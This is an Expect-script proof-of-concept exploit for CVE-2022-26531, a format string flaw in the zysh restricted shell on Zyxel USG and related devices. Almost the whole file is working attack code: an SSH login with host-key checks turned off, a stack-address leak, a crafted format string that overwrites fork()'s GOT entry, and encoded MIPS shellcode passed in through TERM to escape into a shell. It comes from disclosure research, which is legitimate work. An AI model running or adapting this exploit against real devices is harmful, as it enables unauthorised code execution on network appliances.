#!/usr/bin/expect -f # # raptor_zysh_fhtagn.exp - zysh format string PoC exploit # Copyright (c) 2022 Marco Ivaldi # # "We live on a placid island of ignorance in the midst of black seas of # infinity, and it was not meant that we should voyage far." # -- H. P. Lovecraft, The Call of Cthulhu # # "Multiple improper input validation flaws were identified in some CLI # commands of Zyxel USG/ZyWALL series firmware versions 4.09 through 4.71, # USG FLEX series firmware versions 4.50 through 5.21, ATP series firmware # versions 4.32 through 5.21, VPN series firmware versions 4.30 through # 5.21, NSG series firmware versions 1.00 through 1.33 Patch 4, NXC2500 # firmware version 6.10(AAIG.3) and earlier versions, NAP203 firmware # version 6.25(ABFA.7) and earlier versions, NWA50AX firmware version # 6.25(ABYW.5) and earlier versions, WAC500 firmware version 6.30(ABVS.2) # and earlier versions, and WAX510D firmware version 6.30(ABTF.2) and # earlier versions, that could allow a local authenticated attacker to # cause a buffer overflow or a system crash via a crafted payload." # -- CVE-2022-26531 # # The zysh binary is a restricted shell that implements the command-line # interface (CLI) on multiple Zyxel products. This proof-of-concept exploit # demonstrates how to leverage the format string bugs I have identified in # the "extension" argument of some zysh commands, to execute arbitrary code # and escape the restricted shell environment. # # - This exploit targets the "ping" zysh command. # - It overwrites the .got entry of fork() with the shellcode address. # - The shellcode address is calculated based on a leaked stack address. # - Hardcoded offsets and values might need some tweaking, see comments. # - Automation/weaponization for other targets is left as an exercise. # # For additional details on my bug hunting journey and on the # vulnerabilities themselves, you can refer to the official advisory: # https://github.com/0xdea/advisories/blob/master/HNS-2022-02-zyxel-zysh.txt # # Usage: # raptor@blumenkraft ~ % ./raptor_zysh_fhtagn.exp admin password # raptor_zysh_fhtagn.exp - zysh format string PoC exploit # Copyright (c) 2022 Marco Ivaldi # # Leaked stack address: 0x7fe97170 # Shellcode address: 0x7fe9de40 # Base string length: 46 # Hostile format string: %.18u%1801$n%.169u%1801$hn%.150u%1801$hhn%.95u%1802$hhn # # *** enjoy your shell! *** # # sh-5.1$ uname -snrmp # Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon mips64 Cavium Octeon III V0.2 FPU V0.0 # sh-5.1$ id # uid=10007(admin) gid=10000(operator) groups=10000(operator) # # Tested on: # Zyxel USG20-VPN with Firmware 5.10 # [other appliances/versions are also likely vulnerable] # # change string encoding to 8-bit ASCII to avoid annoying conversion to UTF-8 encoding system iso8859-1 # hostile format string to leak stack address via direct parameter access set offset1 77 set leak [format "AAAA.0x%%%d\$x" $offset1] # offsets to reach addresses in retloc sled via direct parameter access set offset2 1801 set offset3 [expr $offset2 + 1] # difference between leaked stack address and shellcode address set diff 27856 # retloc sled # $ mips64-linux-readelf -a zysh | grep JUMP | grep fork # 112dd558 0000967f R_MIPS_JUMP_SLOT 00000000 fork@GLIBC_2.0 # ^^^^^^^^ << this is the address we need to encode: [112dd558][112dd558][112dd558+2][112dd558+2] set retloc [string repeat "\x11\x2d\xd5\x58\x11\x2d\xd5\x58\x11\x2d\xd5\x5a\x11\x2d\xd5\x5a" 1024] # nop sled # nop-equivalent instruction: xor $t0, $t0, $t0 set nops [string repeat "\x01\x8c\x60\x26" 64] # shellcode # https://github.com/0xdea/shellcode/blob/main/MIPS/mips_n32_msb_linux_revsh.c set sc "\x3c\x0c\x2f\x62\x25\x8c\x69\x6e\xaf\xac\xff\xec\x3c\x0c\x2f\x73\x25\x8c\x68\x68\xaf\xac\xff\xf0\xa3\xa0\xff\xf3\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x28\x06\xff\xff\x24\x02\x17\xa9\x01\x01\x01\x0c" # padding to align payload in memory (might need adjusting) set padding "AAA" # print header send_user "raptor_zysh_fhtagn.exp - zysh format string PoC exploit\n" send_user "Copyright (c) 2022 Marco Ivaldi \n\n" # check command line if { [llength $argv] != 3} { send_error "usage: ./raptor_zysh_fhtagn.exp \n" exit 1 } # get SSH connection parameters set port "22" set host [lindex $argv 0] set user [lindex $argv 1] set pass [lindex $argv 2] # inject payload via the TERM environment variable set env(TERM) $retloc$nops$sc$padding # connect to target via SSH log_user 0 spawn -noecho ssh -q -o StrictHostKeyChecking=no -p $port $host -l $user expect { -nocase "password*" { send "$pass\r" } default { send_error "error: could not connect to ssh\n" exit 1 } } # leak stack address expect { "Router? $" { send "ping 127.0.0.1 extension $leak\r" } default { send_error "error: could not access zysh prompt\n" exit 1 } } expect { -re "ping: unknown host AAAA\.(0x.*)\r\n" { } default { send_error "error: could not leak stack address\n" exit 1 } } set leaked $expect_out(1,string) send_user "Leaked stack address:\t$leaked\n" # calculate shellcode address set retval [expr $leaked + $diff] set retval [format 0x%x $retval] send_user "Shellcode address:\t$retval\n" # extract each byte of shellcode address set b1 [expr ($retval & 0xff000000) >> 24] set b2 [expr ($retval & 0x00ff0000) >> 16] set b3 [expr ($retval & 0x0000ff00) >> 8] set b4 [expr ($retval & 0x000000ff)] set b1 [format 0x%x $b1] set b2 [format 0x%x $b2] set b3 [format 0x%x $b3] set b4 [format 0x%x $b4] # calculate numeric arguments for the hostile format string set base [string length "/bin/zysudo.suid /bin/ping 127.0.0.1 -n -c 3 "] send_user "Base string length:\t$base\n" set n1 [expr ($b4 - $base) % 0x100] set n2 [expr ($b2 - $b4) % 0x100] set n3 [expr ($b1 - $b2) % 0x100] set n4 [expr ($b3 - $b1) % 0x100] # check for dangerous numeric arguments below 10 if {$n1 < 10} { incr n1 0x100 } if {$n2 < 10} { incr n2 0x100 } if {$n3 < 10} { incr n3 0x100 } if {$n4 < 10} { incr n4 0x100 } # craft the hostile format string set exploit [format "%%.%du%%$offset2\$n%%.%du%%$offset2\$hn%%.%du%%$offset2\$hhn%%.%du%%$offset3\$hhn" $n1 $n2 $n3 $n4] send_user "Hostile format string:\t$exploit\n\n" # uncomment to debug # interact + # exploit target set prompt "(#|\\\$) $" expect { "Router? $" { send "ping 127.0.0.1 extension $exploit\r" } default { send_error "error: could not access zysh prompt\n" exit 1 } } expect { "Router? $" { send_error "error: could not exploit target\n" exit 1 } -re $prompt { send_user "*** enjoy your shell! ***\n" send "\r" interact } default { send_error "error: could not exploit target\n" exit 1 } }